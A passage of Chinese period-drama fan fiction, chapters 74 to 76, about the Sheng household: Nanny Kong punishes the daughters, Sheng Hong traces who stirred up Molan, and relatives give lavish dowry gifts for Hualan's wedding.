盛华兰脸上带着些许委屈的表情看着孔嬷嬷,忍不住反驳道:“嬷嬷,四妹妹从不听我的,我能有什么法子嘛。” 孔嬷嬷冷冷道:“那就要看你的本事了,如今连这点姐妹之间的事都处理不了,出了门,成了婆家的人,那些个姑婆妯娌的,没有血缘关系的陌生人,你又如何解决相处,难不成还要让你爹娘去婆家撑腰嘛。” 盛华兰向来聪慧,即使因着情绪原因影响自己的判断,可还是听劝且一点就通的,她沉思了一会儿给孔嬷嬷磕了个头,道:“多谢孔嬷嬷指点。” 孔嬷嬷闻言,眼中闪过一丝满意,随即又看向盛墨兰,道:“四姑娘,你父亲对你不差,你是他疼爱的女儿,他对你如何,你应该是清楚的,今天你最大的错误就是想要道德绑架幼妹,让幼妹去忤逆父母来完成你想要做到的事情,你可知道你这是陷她与不义,你须知感情是会消磨的。”她说着便不再去看盛墨兰了。 孔嬷嬷目光转而放在盛墨兰身旁的盛如兰身上,道:“五姑娘,你最大的缺点就是冲动,口无遮拦,依照我所言,你应该罚的最重。” 盛如兰闻言,满脸不服气的撅着嘴,王若弗瞪了盛如兰一眼,盛如兰心里害怕的收敛了一下面部表情,道:“爹爹,母亲,孔嬷嬷我错了,爹爹饶了我吧,我下回不敢了。” 孔嬷嬷微微摇了摇头,径直来到盛明兰身边,道:“二姑娘,你知道你最大的错误是什么嘛?” 盛明兰端坐在盛瑾腿上,背靠着盛瑾,心里十分踏实,目光直勾勾的看着孔嬷嬷,语气中带着些许鼻音,道:“孔嬷嬷,我不,我不知道。” 孔嬷嬷微微一笑,语气中带着些许轻柔,道:“我今日告诉你一个道理,一家子的兄弟姐妹,同气连枝,共荣共损,即便你一个人没有错,但你三个姐姐都错了,你没错也错,因而待会我要一同罚你,你可服气?” 盛明兰清澈的双目中倒映出孔嬷嬷的样貌,九岁的她还是有些小动物般的直觉,她知道孔嬷嬷是为她好,因而微微点头,道:“服气。” 孔嬷嬷说完姑娘们,又看向盛纮,道:“盛大人,我与老太太是故交,今儿我便厚着脸皮多说几句,这儿女众多的人家啊!父母最是要一碗水端平,才能家宅宁静,虽说姐妹应该相互谦让,但也应该今儿这个让,明儿那个让,没道理只让一头让,这日子长了,难免姐妹之间起了嫌隙,盛大人你说是不是?” 盛纮听着孔嬷嬷的话想起往日里,自己的所作所为,这女儿还好,要是儿子之间起了嫌隙,那盛家可不长久啊!更何况嫡有嫡的过法,庶有庶的活法,若是一味地偏心恐惹出事端啊! 盛纮想到这里,不由得思考起盛墨兰为什么会拉着盛明兰说起林噙霜呢,他猜测八成是有人在她耳边说些什么才引起的这桩子事情,他突然担忧起盛墨兰是否会对盛瑾产生怨念,再者,盛墨兰都这样了,那盛长枫呢,他是不是也这样想的呢。 盛纮越想越是担忧,他的后背不由的冒出冷汗,心里暗道:“不行,我一定要查清楚到底是谁在捣鬼,我这一房决不能与二哥哥这一房起矛盾。”他这般想着便对孔嬷嬷连连拱手称是。 王若弗和盛华兰听到孔嬷嬷说的话,盛华兰忍不住热泪夺眶而出,王若弗拿着帕子抹了下眼睛,母女两一起万分感激的望着孔嬷嬷。 孔嬷嬷下达了最后判决:“现罚你们每人十下手板,回去把那五十遍《女则》抄好,明日谁没抄完,便不用来见我了!包括二姑娘。”众人都知道这个二姑娘指的是盛明兰。 盛纮闻言,急忙出言维护盛明兰,道:“嬷嬷,明姐儿就不用了吧,她纯粹是被姐姐们连累的。” 王若弗自知自家理亏,再加上盛明兰是老太太和盛瑾心尖上的肉,便也附和盛纮,道:“是啊!是啊!明姐儿今天都被吓到了。” 盛瑾倒是没说什么,只是目光柔和的看着盛明兰,将决定权交由盛明兰自己,道:“明儿,你觉得呢?” 盛明兰眼眶微红的看着盛瑾,眼中带着些许坚定,点了点头,道:“明儿答应了孔嬷嬷,就要遵守约定。” 盛瑾将自己的脸贴在盛明兰的脸上,眼中闪过一丝笑意,语气中带着些许骄傲,道:“爹的好女儿,真棒啊!” 一旁的盛如兰看到这一幕,眼中闪过一丝羡慕,至少在她有记忆开始,从来没有见过盛纮如盛瑾对盛明兰这样对她。 等孔嬷嬷的惩罚结束后,盛纮立马让人将盛墨兰和盛长枫身边的人控制住,调查是谁怂恿盛墨兰的,而王若弗则是满脸辛灾乐祸的看着盛墨兰和盛长枫那边鸡飞狗跳,她也不想管那边了,只是嘱咐盛如兰别再提起林噙霜了。 盛老太太看着盛明兰微微红肿的小手,眼中带着些许心疼,她没曾想过自家孙女会在府中受到惊吓,心里顿时对盛墨兰产了些许芥蒂,当即询问盛明兰是否还要继续上孔嬷嬷的课,毕竟她现下是一点也不想让盛明兰和盛墨兰待在一块了,可盛明兰坚持不能半途而废,因而她只能让盛明兰身边的丫鬟看着点,别让盛墨兰和盛明兰私底下接触,生怕盛墨兰再来这么一出。 75.第 75 章 清晨,盛纮一早来到盛老太太的院子,盛老太太瞧着满面愁容的盛纮默不作声,她向来是了解自己这个庶子的,如今来这一出,怕是又有什么事情要求她了。 盛老太太猜的没错,盛纮今日是为盛墨兰的事情来求盛老太太的,他用了几天便查清楚盛墨兰当时为什么会提起林噙霜,原是先前在林噙霜身边伺候过的人,不满自己现下的日子过得没有当初林噙霜在时威风,心里产生了让林噙霜回来的念头,于是他买通了盛墨兰院中的一个女使,让那个女使在盛墨兰身边说些事情,想借着盛瑾的手将林噙霜弄回来,可惜啊!那个人不知道正是因为盛瑾,林噙霜才会被送走,不过,也正是因着那个人不是林噙霜的心腹,当初处罚林噙霜身边亲近之人时才放过了他,让那个人成了漏网之鱼。 盛纮为此再次将盛墨兰和盛长枫身边的人都换了个遍,并告知了盛墨兰和盛长枫为什么林噙霜不能进丰国公府,如今他们也十几岁了,心里清楚这件事情不仅涉及到了盛纮和盛瑾的名声,还涉及到了盛家兄弟间的关系,他们是因着盛家才有现在的日子,若是盛家不好过,他们作为盛家的人也别想好过,正如孔嬷嬷所说的一家子兄弟姐妹,一荣俱荣,一损俱损,没得砸了吃饭的锅。 盛墨兰和盛长枫在汴州城待了半个多月,自是知道盛瑾为自己逝去的妻子守身如玉的事情,他们一想到盛瑾没有因着自己亲生小娘污蔑他的清誉,而让府中的人克扣他们的吃穿用度,顿时觉得自己在盛瑾面前抬不起头,尤其是盛墨兰,她一时无脸面对盛明兰,日后见到盛明兰就低着头,索性盛老太太让丫鬟隔开两人,她才没那么尴尬,这都是后话了,不过,此时的她还是有些思念林噙霜的,她眼含泪水的看着盛纮,哽咽道:“爹爹,我还有可能见到小娘吗?” 盛纮瞧着盛墨兰这般,心里顿时有些心软,语气柔和,道:“等你再大些,我就带你去见你的小娘。” 现在的盛纮怎么也没有想到他此时的心软在未来差点赔上盛家的颜面,那时的他肠子都悔青了,这都是后话了,画面回到盛老太太的屋内,只见他满脸歉意的为着盛墨兰的事情向盛老太太请罪。 盛老太太听着盛纮的话,端起茶杯,浅浅抿了一口后,放下茶杯,拿起扇子扇了扇,语气淡然,道:“若是你来找我就是为着这些个事情,那大可不必放在心上,我一个老人家也不会为着这点子事情去针对一个孩子的。” 盛纮瞧着盛老太太这般神情淡漠的样子,也不好再说什么废话,便厚着脸皮,直言道:“我想让母亲物色一位管事妈妈给墨兰。” 盛老太太面无表情,语气淡然,道:“这种事情你应该去早大娘子,不是我。”言外之意是你不相信王若弗,可我也不想插手。 盛纮脸上浮现出一抹尴尬的表情,讪讪道:“大娘子说她管不了墨兰,我想着让您找个管家妈妈照看着墨兰,毕竟墨兰也是您的孙女啊!”其实他最初的想法是让盛老太太来扶养盛墨兰,可盛墨兰对盛明兰做了那件事情后,绕是他再厚脸皮,也开不了口,更何况他知道自己开口也会被拒绝的,从盛老太太让盛明兰身边的丫鬟刻意隔开盛明兰和盛墨兰时,他便知道这件事情入了盛老太太的心,盛老太太是决计不会为了盛墨兰去委屈盛明兰的。 盛老太太低着头,好似深思,实则眼底快速闪过一丝讽刺,可盛纮没看见,盛纮以为她不知道他的心思,其实她心里很清楚他原先的想法,不过,即使没有这件事情,她也不会扶养盛墨兰的,谁让她的亲生小娘是林噙霜呢。 盛老太太对林噙霜是打心底里厌恶的,可盛墨兰是盛家的孩子,她的孙女,真要放手不管也是不可能的,好在她和盛纮各退一步,只需要她给盛墨兰找个管事妈妈即可,她神情淡然的看着盛纮,语气平淡,道:“我会给她留意一下的,你先回去吧。” 盛纮知道盛老太太答应了就会做到,心里松了口气,聊了一会儿后,便和盛老太太行礼告退了,没几天,盛老太太如他所愿给盛墨兰送去了个陶妈妈,而王若弗听到这个消息时,只是淡淡的回了句“知道了。”毕竟盛老太太愿意送人管着盛墨兰,她还乐得清闲呢。 时间转瞬即逝,距离上次孔嬷嬷课上发生的事情已经过去半个月了,今个一早,白滢婷就带着自己给盛华兰的添妆和盛家哥儿姑娘们的见面礼来到了丰国公府。 盛老太太面带微笑的看着白滢婷,语气柔和,道:“婷儿,明儿她们几个姑娘因着孔嬷嬷课堂还有半个月就要结束,如今正抓紧跟着孔嬷嬷学习礼仪规矩呢,你今个怕是见不到明儿她们了。”其实她只是开个玩笑,自己早已嘱咐丫鬟通知盛华兰她们下了课,便到院中来见白滢婷一面。 白滢婷面带微笑,她才不信盛老太太说见不到盛明兰她们的话,不过,她还是顺着盛老太太的话,道:“见不到就见不到呗,我又不是没见过这几个侄女,如今不过是来走个过场给另外两个外甥女和两个外甥补见面礼的,再说了,我今个也是特意来见干娘的。” 盛老太太闻言,微微一笑,刮了刮白滢婷的鼻子,道:“就你嘴甜,我可不信你带着这一堆东西都是给我的。” 白滢婷脸上浮现出俏皮的表情,语气中带着些许笑意,道:“这给干娘的孙子孙女们,也是间接给干娘不是嘛。” 白滢婷搂着盛老太太的胳膊,语气中带着些许亲近,继续道:“对了,干娘,华姐儿再过不久就要嫁入忠勤伯爵府,这是我给她的添妆,你可万不能拒绝我的一片心意。”她说着,身旁的常嬷嬷便将手中不大不小的盒子放在桌上。 盛老太太顺手打开盒子,映入眼帘的是各种首饰钗环,底下还压着不少银票,她看了眼白滢婷,忍不住拍了白滢婷一下,道:“你倒是大手笔啊!如今给华儿这般多,若是让那两个知道了,将来少不得要对比一二,还有你父亲,前些天塞给我一万五千两银票说是给华儿的添妆,你们用不着看着我的面子给这么多。” 白滢婷满脸笑嘻嘻,语气微微上扬,调侃道:“干娘还说多呢,我不过是给华姐儿十二件首饰钗环和三千两银票罢了,哥哥和父亲给得是我的好几倍,干娘不说他们,反到拿我来说事,可见是个欺软怕硬的。” 盛老太太脸上带着些许笑容,笑骂道:“我这不是心疼你嘛,你莫忘了另外两个姑娘中有一个是华儿的嫡亲妹妹,将来你若是少给了另一个,别得没由来的落了一身埋怨。” 白滢婷心中一暖,语气柔和,道:“干娘这般为我着想,我很开心,不过,我这个人向来随性,华姐儿是您养大的,我瞧着也不错,自然愿意多给她些东西,更何况我自己也是嫁入勋爵人家的,自是知道在勋爵权贵之家当媳妇,日常少不得要花些银钱打点关系,华姐儿的嫁妆当然是越丰厚越好。” 盛老太太用眼神示意房嬷嬷去找王若弗,房嬷嬷立马领会盛老太太的意思,随即退出去交代丫鬟去找王若弗,而盛老太太则是将盒子关上推到白滢婷面前,满脸笑意,道:“既然你有这份心,那就亲自交给你三嫂嫂(王若弗)吧,也好让她念着你的心意。” 白滢婷听着盛老太太的话,在结合房嬷嬷刚刚离开屋子的行为,不难领会盛老太太的意思,她俏皮的眨了眨眼睛,大大方方道:“那也好,我正好还有东西要交给三嫂嫂呢。” 王若弗那边从白滢婷进入丰国公府不久就得知了这个消息,只是盛老太太没找她,她也不好贸然前去,如今见盛老太太派人通知她,便立马带着刘妈妈风风火火的赶到盛老太太屋内,她一见到白滢婷就满脸笑意,道:“我来晚了,县主莫要见怪啊!” 白滢婷听着王若弗的话,笑吟吟,道:“三嫂嫂客气了,也是我没有告知你们突然来访,不过,三嫂嫂大可不必称呼我为县主,一家子亲戚这般称呼多少有些疏远了。” 王若弗脸上的笑容十分灿烂,嘴巴像是抹了蜜般,道:“那我就随着县主你的话托大些,称呼县主你为妹妹,我瞧着妹妹比起在扬州城时更好看,说起来,我第一次见到妹妹时,便觉着妹妹像个如花似玉的姑娘。” 白滢婷对于王若弗的夸奖,嘴角微微弯起,语气柔和且谦虚,道:“三嫂嫂,缪赞,都是两个儿子的娘了,那还来的如花似玉啊!” 盛老太太拉着白滢婷的手,语气中带着些许调侃的意味,道:“谁说成两个孩子的娘就不好看了,我觉着婷儿你就很好看。” 盛老太太的目光转向王若弗,语气中带着些许笑意,道:“好了,一家子莫说那么多客气话,婷儿今个可给我们家哥儿姑娘们带了不少好东西,尤其是华儿。” 白滢婷笑意盈盈道:“哪有干娘说得那般啊!左右不过是我这个当姑母的给外甥外甥女些见面礼罢了。” 白滢婷的目光又落回到王若弗身上,语气柔和,道:“听说华姐儿已许了人家,再过不久便要成婚了。” 王若弗一听白滢婷提起盛华兰的婚事,脸上的笑容真实了几分,道:“妹妹说的是,我和官人为华儿选了忠勤伯爵府的嫡次子袁文绍为夫婿,华儿再过些日子就要嫁人了。”好在盛华兰不在,这些个话无论听多少遍,她都会害羞得小脸通红。 白滢婷面带微笑道:“想来三哥哥和三嫂嫂选的婚事自是极好的,忠勤伯爵府嫡次子,门当户对,真真是门好婚事啊!说来这外甥女结婚,我这当姑母的自然是要添妆的。” 白滢婷说完,拿起桌上的盒子,将其塞到王若弗手中,这盒子实在有些重,王若弗差点没拿稳,她将盒子打开看了一眼,十几件镶嵌的珠宝工艺皆为上乘的首饰钗环,底下还压着不少银票,顿时想要和白滢婷开口说些客套话,不过白滢婷先下手为强,道:“这些个首饰钗环都是我拿宝石金子找珠翠楼打造的,盒子底下压着我给华姐儿的嫁妆银子,这些个东西算是我这个当姑母的对华姐儿的一点心意,对了,我还带了些织锦缎给外甥外甥女们,三嫂嫂莫要客气什么。” 王若弗脸上的笑容十分真实,道:“妹妹都这么说了,我也不好再推迟什么,待我回头定会告诉华儿她们,妹妹有多疼她们这些个外甥外甥女。” 白滢婷眼含笑意的看着王若弗,语气柔和,道:“瞧三嫂嫂说的,回头你给我那两个不成器的儿子见面礼时,我都不好意思收了。” 王若弗将手中的盒子合上交给刘妈妈,目光转向白滢婷身上,语气中带着些许恭维,道:“妹妹说的什么话,若是烨哥儿和炜哥儿还不成器,满汴州城还有几个成器的哥儿呢,这烨哥儿十九岁就成了探花郎,炜哥儿十六岁已是举人,这汴州城的大娘子们都羡慕着妹妹你有两个好儿子,巴不得将自家姑娘送给妹妹当媳妇。” 白滢婷眉眼弯弯,语气微微上扬,道:“我家那两个皮猴子能有现在这般造化,全仰仗二哥哥素日里对他们的细细教导,我和官人算是不费吹灰之力摘了个现成的桃子,余下的不过是费些心思给他们寻门好亲事罢了。” 白滢婷的目光转向盛老太太,语气中满是亲近的意味,道:“干娘,烨儿年岁也不小,我瞧着是时候为他找个能干的大娘子,可我对各家姑娘的情况还不甚了解,到时候少不得要劳累您帮我掌掌眼了。” 盛老太太眼中闪过一丝笑意,拍了拍白滢婷,道:“烨儿怎么说都叫我一声外祖母,自无不可的,你与我说说想找什么样人家的姑娘,回头我也帮着你留意留意,毕竟找一个称心如意的好媳妇可不是什么容易的事情啊!” 王若弗在一旁竖起耳朵听着白滢婷话,只见白滢婷轻声细语道:“我想着烨儿到底是为官做宰的人,怎么着都要找个知书达礼、端庄大气的姑娘,要不然,他们两人也聊不到一块去。” 盛老太太自然是听懂白滢婷话中暗藏的意思,白滢婷想要找个能给顾廷烨未来仕途提供助力的姑娘,她也清楚白滢婷心中的想法,盛瑾虽然能给顾廷烨助力,但是顾廷烨不可能一直靠着盛瑾,即使盛瑾乐意,长久以往,恐盛家其他人看不过眼。 盛老太太知道白滢婷不想给盛瑾惹麻烦,若盛瑾还是孤身一人,那就不需要考虑太多,可盛瑾现在有一群族人,人多代表了麻烦也多,况且白滢婷也希望自己儿子的妻子出自世家大族,这样对孙子孙女也有好处。 盛老太太牵起白滢婷的手拍了拍,开口说了句让王若弗一头雾水的话,道:“婷儿,你是个好孩子,难怪你二哥哥二嫂嫂那么疼你。” 白滢婷只是莞尔一笑,并没有开口说什么,她知道盛老太太领会了她的意思,而盛老太太则是继续道:“烨儿的婚事急不得,如今他以在翰林院任职,短时间内不会外放,再加上烨儿的条件摆在那呢,不愁没有好的婚事,我们慢慢找个可心、称意的媳妇。” 盛老太太说的是事实,顾廷烨十九岁考中进士,这个年纪在一群进士中已然算得上是凤毛麟角般的存在,更别说是在汴州城勋贵人家,况且他考中的还是探花郎,再加之顾廷烨的条件摆在那里,宁远侯府嫡次子出身,其父亲是现任宁远侯,其母亲手握巨额嫁妆且贵为端淑县主,其外祖父虽为盐商,但有万贯家财,又有丰国公府作为外家,满汴州城都找不出几个这样家世好、能力出众且后宅干净的夫婿,唯一的缺陷也是白滢婷想通过婚事弥补的短处,那就是宁远侯府乃武将出身,无法给要走文官之路的顾廷烨多少助力。 盛老太太听出白滢婷潜在含义,可王若弗却没有听出来,她只知道顾廷烨是个好夫婿人选,再加之白滢婷对她的态度十分客气,脑海中闪过自家娘家外甥女,也就是王大人的嫡次女,道:“母亲,我去年见过哥哥家的凝姐儿,那长得可真好啊!当时我娘家嫂嫂还说笑,让我帮着寻寻看有什么好人家嘛。” 王若弗这点子想法自然瞒不过盛老太太,只见盛老太太脸上浮现出淡淡的笑容,语气平淡,道:“那媳妇你得帮着你娘家嫂嫂好好参谋参谋了,姑娘家嫁人犹如第二次投胎,若是找得夫家不好,少不得要被人埋怨一顿。” 盛家和王家是姻亲,盛老太太自然知道王若弗的姐姐王若与是个什么德行,说来王家老太爷配享太庙,即便是人不在也给王家留下了不少人脉,若是王家和顾家结亲也算不得什么高攀,可奈何王老太太十分溺爱王若与,为着摆平王若与惹出的事情,费了不少人力物力,耽搁了王大人的前程,要不然,以王家的人脉,就算王大人再怎么平庸,这时候也应该调回汴州城,因而王家对于顾家而言绝不是一个好的选择。 盛老太太见王若弗还想要说什么,目光转到白滢婷身上,道:“婷儿,瞧着明儿她们还有好些时候才下课,你难得回一次丰国公府,你父亲这些日子也挺想你的,你去他院中与他聊聊天吧,待到用膳时,我们再聚一聚。” 白滢婷闻言,微微点了点头,道:“干娘说的是,我也甚是想念父亲,那 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白滢婷瞪了白老爷一眼,目光转向怀中的盛长安,只见盛长安脸上洋溢着灿烂的笑容,语气甜甜,道:“白姑母,懿安,我可想白姑母了。” 盛长安小脸浮现出一丝忧愁的表情看着白老爷,奶声奶气的向白滢婷告状,道:“白祖父,你要听白姑母的话,刚刚你抱着我走得额头都出汗了,我让你放我下来,你还硬撑着不放,二伯父说做人要量力而行,你这样是不对的,万一累到你,我也会心疼的。” 白滢婷听着盛长安的话,脸上的笑容如花般灿烂,她贴了一下盛长安的小脸蛋,道:“我们安儿说得对,你白祖父就是嘴硬。” 白老爷瞧着她们二人这般,装出一副吹鼻子瞪眼的样子,语气中带着些许不服气的意味,道:“你们就相互维护对方吧。” 白滢婷和盛长安满脸笑意的哄了白老爷一会儿后,白滢婷便将盛长安放下来,道:“安儿帮着姑母去看看你姐姐是不是要来这边了嘛,你姐姐若是知道我来府中,八成会来找我。” 盛长安听到盛明兰的名字,满脸笑容的点了点头,道:“好的,白姑母。”他说完便迈着小短腿,朝门口走去,身旁的丫鬟们井然有序的跟在他身后。 白老爷瞧着门口背影逐渐消失的盛长安,目光转而放在白滢婷身上,语气笃定,道:“婷儿,你是来给华姐儿添妆的吧。” 白滢婷上前挽着白老爷的胳膊,语气中满是笑意,道:“到底是以后要相处的亲戚,又叫我一声姑母,这都是应该的。” 白老爷微微摇了摇头,语气中带着些许调笑和担忧的意味,道:“你以为你父亲是个心疼钱的主嘛,我只是担心顾偃开那些个不着调的弟弟弟妹知道后,又要给你找不痛快,我本来是打算替你一并出了这笔添妆,可你先下手给瑾儿送信时,我便猜出你有准备,也就没替你给这笔添妆。” 白滢婷眼含笑意,道:“父亲,这是我的事情,哪能让你替我给啊!你和哥哥当初给我的嫁妆可多了,这点子东西,你女儿我还是出的起的,至于顾家那边,你就无需担忧什么,如今顾家给我找麻烦的左右不过那两个人,一个还在庄子上没回来呢,另一个再怎么犯浑,他大哥哥还在呢,若管不来就交给他大哥哥去处理。” 白老爷眼中带着些许心疼和欣慰,语气中带着些许自责和懊悔,道:“婷儿,瞧着你如今这般有本事,爹爹心里也好受些,说到底这门亲事都是爹爹没有查清楚,让你受委屈了。” 白滢婷瞧着白老爷这般,语气中带着些许笑意的转移话题,道:“爹爹也是为了我好,如今我这般已经比不少人过得舒坦许多,对了,爹爹可真是大手笔,我可听干娘说你给华姐儿添了一万五千两银票。” 白老爷知道白滢婷想要转移话题,便顺着她的意,道:“算不得什么大手笔,你也知道我们家最是不缺银钱,我瞧着那华姐儿温婉贤淑、待人和气,又是徐妹子膝下养大的,多给些银钱伴身罢了。”(徐妹子指的盛老太太) 白滢婷听着白老爷的话,嘴角微微弯起,道:“爹爹想得竟与我一般,我也觉着那华姐儿甚好,故而多给了些添妆。” 白滢婷说到这里,不由得搂着白老爷的胳膊,语气亲近,道:“爹爹,烨儿现下在翰林院任职,我打算开始给他寻摸个家世好又能干的大娘子,干娘说她也会帮我留意一下,爹爹和哥哥到时候也要帮着一起掌掌眼,可得娶一个宜家的媳妇。” 白老爷脸上浮现出一抹微笑,语气中带着些许调侃的意味,道:“好好好,爹爹一定帮你好好看看,还得养好身子,等着抱曾外孙外孙女呢。” 白滢婷不禁莞尔一笑,随即又想起了盛长轩,语气中带着些许思念,道:“也不知道轩轩什么时候能回来,他和烨儿年岁相近,也是时候寻门好亲事了。” 白老爷听到白滢婷这么说,脸上的神情有些许惆怅,道:“虽说不是呢,也不知道边境有什么好的,非要去那边,轩轩这些年给我们的信里也从未报过忧,不知他在边境那边是否真过得如他所说般好。” 白滢婷和白老爷正处于惆怅的气氛中,突然,盛明兰牵着盛长安大步朝她们走来,用清脆的声音打破了惆怅的气氛,道:“白姑母,白祖父。” 白滢婷和白老爷同时抬头看向盛明兰那边,白滢婷眼尖的瞧见盛明兰腰间上挂着的白玉兰花坠,语气中带着笑意,道:“明儿,今个可真巧啊!我待会还要将另外两个白玉兰花坠当见面礼送给你的姐姐们,没成想你今个就带上了。” 盛明兰带着盛长安走到白老爷和白滢婷面前停下来,满脸笑意,道:“白姑母送得坠子本来就好看,又是兰花形状的,我喜欢得恨不得日日带着呢。” 盛长安这个姐控抓着盛明兰腰间挂着的白玉兰花坠,饶有趣味的给盛明兰捧场,道:“姐姐说得对,白姑母送什么都喜欢。” 白滢婷听得心花怒放,伸手要抱盛长安,盛长安也不害羞,顺势来到了她的怀中,她抱着盛长安,语气中满是笑意,道:“安儿真乖,这小嘴甜的让人喜欢。” 白老爷摸了摸胡须,语气中带着些许自豪的意味,道:“我们家孩子就没有不乖的。”这滤镜可真厚啊!此时的他已经下意识的忽略了从前吐槽过顾廷烨都多大的人了,有时候却像个孩子一样调皮捣蛋这类的话了。 白滢婷她们就这般愉快的聊到快要用午膳时,方才将盛明兰带离了白老爷的院子,留下盛长安陪着白老爷用午膳,而她们则是回到盛老太太的院子,待她见过盛如兰和盛墨兰,并给了她们见面礼后,没过多久,盛长柏和盛长枫便来拜见她。 白滢婷给完盛长枫和盛长柏每人一份文房四宝当做见面礼后,便与盛老太太闲聊了一会儿,方才离开丰国公府。 孔嬷嬷在半个月后的今天,正是她要离开丰国公府的日子,除了盛纮给孔嬷嬷准备的那些礼物作为束缚外,盛瑾也给她准备了三辆马车的礼物作为束缚,她本来是要推辞的,可架不住盛瑾和盛老太太的劝说而收下这些东西,当然,盛瑾还派盛昀等人护送她回老家,这一点是她无法推辞的,况且盛老太太对此也十分满意和宽心。 盛老太太在屋里拉着孔嬷嬷的手说了好一会儿的话后,方才恋恋不舍的放开孔嬷嬷的手,让盛瑾等人送孔嬷嬷离去,于是孔嬷嬷就在盛瑾一行人的目光中上了马车渐行渐远了。 76.第 76 章 清晨,丰国公府内,王若弗如往常般带着盛华兰、盛如兰、盛墨兰来拜见盛老太太,她们聊了一会儿后,盛老太太让盛明兰带着盛墨兰和盛如兰去另一间房间玩耍,而王若弗瞧着这一幕就知盛老太太有话要说,于是她满脸笑意的嘱咐了盛墨兰和盛如兰几句,便让她们随着盛明兰一同出去了。 盛老太太待盛明兰等人的身影彻底消失在屋内后不久,她朝盛华兰招了招手,让盛华兰坐在自己身旁,而盛华兰也按照盛老太太的意思来到她身边坐下。 盛老太太拉着盛华兰的手,眼中闪过一丝不舍,语气中带着些许感慨的意味,道:“华儿,转眼间你就要嫁人了,现在想想时间过得真快啊!” 盛老太太瞧着盛华兰因着她的话有些不知所措,随即面带微笑的拍了拍盛华兰的手以示安抚,继续道:“姑娘大了总是要嫁人的,我曾说过每个孙女出嫁,无论嫡庶,我都额外给贴补妆银一千五百两,你二伯父也说过他的侄女出嫁,无论嫡庶,他都额外给贴补妆银七千两,可嫁妆压箱底,自然是越多越好。”她说着便朝房嬷嬷招了招手。 房嬷嬷接收到盛老太太的意思,微微点了点头,随即出来七个丫鬟,前三个丫鬟,每人手里都端着两个盒子,后面每两个丫鬟抬着一个箱子,一共两个箱子。 盛老太太示意丫鬟们打开盒子,第一个盒子里是各色首饰;第二个盒子里是田产铺子的地契和分配红利的契劵;第三个盒子里装着银票,每一张面额至少一百两,目测有数十张;第四个盒子里装着一支红宝石雕凤头钗、一支金累丝嵌宝石白玉送子观音步摇、一支金累丝衔珠蝶形簪,底下还有两个小盒子分别装着一个金镶玉嵌珠宝手镯、一对红翡翠滴珠耳环;第五个盒子里面装着两只千年人参;第六个盒子里装着红宝赤金头面;后面两个箱子,一个装着三匹缂丝,另一个装着三十匹颜色不同的锦缎。 这些个东西可把王若弗和盛华兰给看呆了,却不说添妆田产铺子的地契和分配红利的契劵、银票,那两只千年人参可是保命的东西,可遇不可求啊!还有那三匹缂丝和六件首饰,红宝石雕凤头钗、金累丝嵌宝石白玉送子观音步摇、金累丝衔珠蝶形簪、金镶玉嵌珠宝手镯、红翡翠滴珠耳环、红宝赤金头面都是价值不菲的首饰啊!尤其是那红宝赤金头面,盒子一打开,屋内顿时一片金灿流光,那黄金赤澄,红宝硕大闪亮,每颗都有拇指那么大,大红火热,耀眼夺目......这些个首饰带进宫见贵人都合适啊! 连出身簪缨、见惯了金银珠宝的富家姑娘王若弗看见这些个首饰都大吃一惊,心中不由的连连赞叹不已。 盛老太太神情柔和的看着盛华兰,轻声细语,道:“这里面不仅有我给华儿的添妆,也有白大哥和瑾儿给华儿的添妆,那盒子银票共计六万两,其中瑾儿添了三万七千两、白大哥添了一万五千两、府中中馈给了五千两,我给凑了个整数贴补三千两,那盒子地契和契劵中我添了一间金陵城的上等铺子、瑾儿添了一间汴州城中等铺子和三份分配红利、府中中馈出得汴州城外一百亩上好水田和一间汴州城的中等铺子,那两箱子布料是瑾儿添的,那三盒首饰中的红宝石雕凤头钗、金累丝嵌宝石白玉送子观音步摇、金累丝衔珠蝶形簪、金镶玉嵌珠宝手镯、红翡翠滴珠耳环是瑾儿添的,余下的是我给华儿添的,其中有副红宝赤金头面是我当年出嫁时陪送的饰品,上面的红宝石是当年我父亲从基辅国弄来的宝贝,找了工匠们两班倒,耗时三个月才打好,用十八颗红宝石镶嵌赤足金打造成的一整副头面,包括头上、身上、手上的,你是在我膝下长大的,这个就留给你撑腰吧,还有那两只人参也是瑾儿给华儿的,除此之外,府中中馈出得其他份额由你母亲明日去库房挑选或是支取银钱都是可以的。” 盛华兰听得连连摆手,道:“使不得,祖母,你和二伯父、白祖父给的太多了,这都能算的上是一份厚厚的嫁妆了。” 盛老太太见盛华兰这般,嘴角微微弯起,道:“你的嫁妆早在扬州城时,你父母便开始给你准备,如今早就攒好了,这是我和你二伯父、白祖父的心意,你可不能拒绝啊!再说了,忠勤伯爵府也算得上高门大户,你嫁进去少不得要多费些银钱打点一二,更何况你有了这些个嫁妆伴身,在婆家做起事情来腰杆子也硬。” 盛华兰两眼泛红的看着盛老太太,语气中带着些许哽咽,喃喃道:“祖母,你们对孙女真好。”而一旁的王若弗也眼眶通红,因着这些个添妆,估计有几分真心在里面。 盛老太太拉着盛华兰的手,语气中带着些许安抚的意味,道:“你呀,已经快当大娘子的人了,不能动不动就哭。” 盛华兰她们和盛老太太聊了许久,待盛明兰、盛墨兰、盛如兰回来时,王若弗才带着盛华兰离开盛老太太的院子,随行的还有那七个丫鬟,她们将东西搬到王若弗院子里,此时王若弗心里只有一个念头,就是这次来丰国公府住,来对了。 第二天,王若弗想着与其拿银子,还不如从丰国公府库房中挑些压箱底的东西给盛华兰当嫁妆,因而她就按着盛老太太的意思来到丰国公府的库房。 丰国公府的库房中大部分是与绣岳坊和珠翠楼签订契约采买的头面首饰、布料,少部分是府中铺子和制造坊送来的质量极佳的好物件,王若弗瞧着这琳琅满目的东西,一时之间竟不知道如何下手挑选,她带着刘妈妈犹豫了许久,最终给盛华兰挑了一副价值一千九百两的头面,五十匹上等蜀锦、一个沉香大雕四季如意屏风、一个琉璃制成的棋盘及棋子、六个和田白玉茶盏、一对青玉缠枝莲纹瓶。 王若弗用了将近一个多月的时间将盛维、盛老太太、盛瑾、白滢婷、白老爷、王若弗的娘家等人送来的添妆和她们夫妇给盛华兰的嫁妆、袁家送来的聘礼进行整合、规整,最终整理出了盛华兰的嫁妆单子,其中田产铺子、分配红利分别有九百亩水田、三间汴州城的中等铺子、一间金陵城的上等铺子、一间扬州城的上等铺子、三份分配红利,每年收入在五千两左右,嫁妆银子共计六万七千两,还没有算上那一百二十八抬嫁妆呢。 这天夜里距离盛华兰的嫁妆送往袁家的日子还有两三天,王若弗将装有盛华兰嫁妆中田产铺子的地契、分配红利的契劵、银票的盒子拿出来放在桌子上,细细给盛华兰讲解着这些个田产铺子、分配红利每年的收入和打理,她们身旁的盛如兰听得都快要打哈欠了。 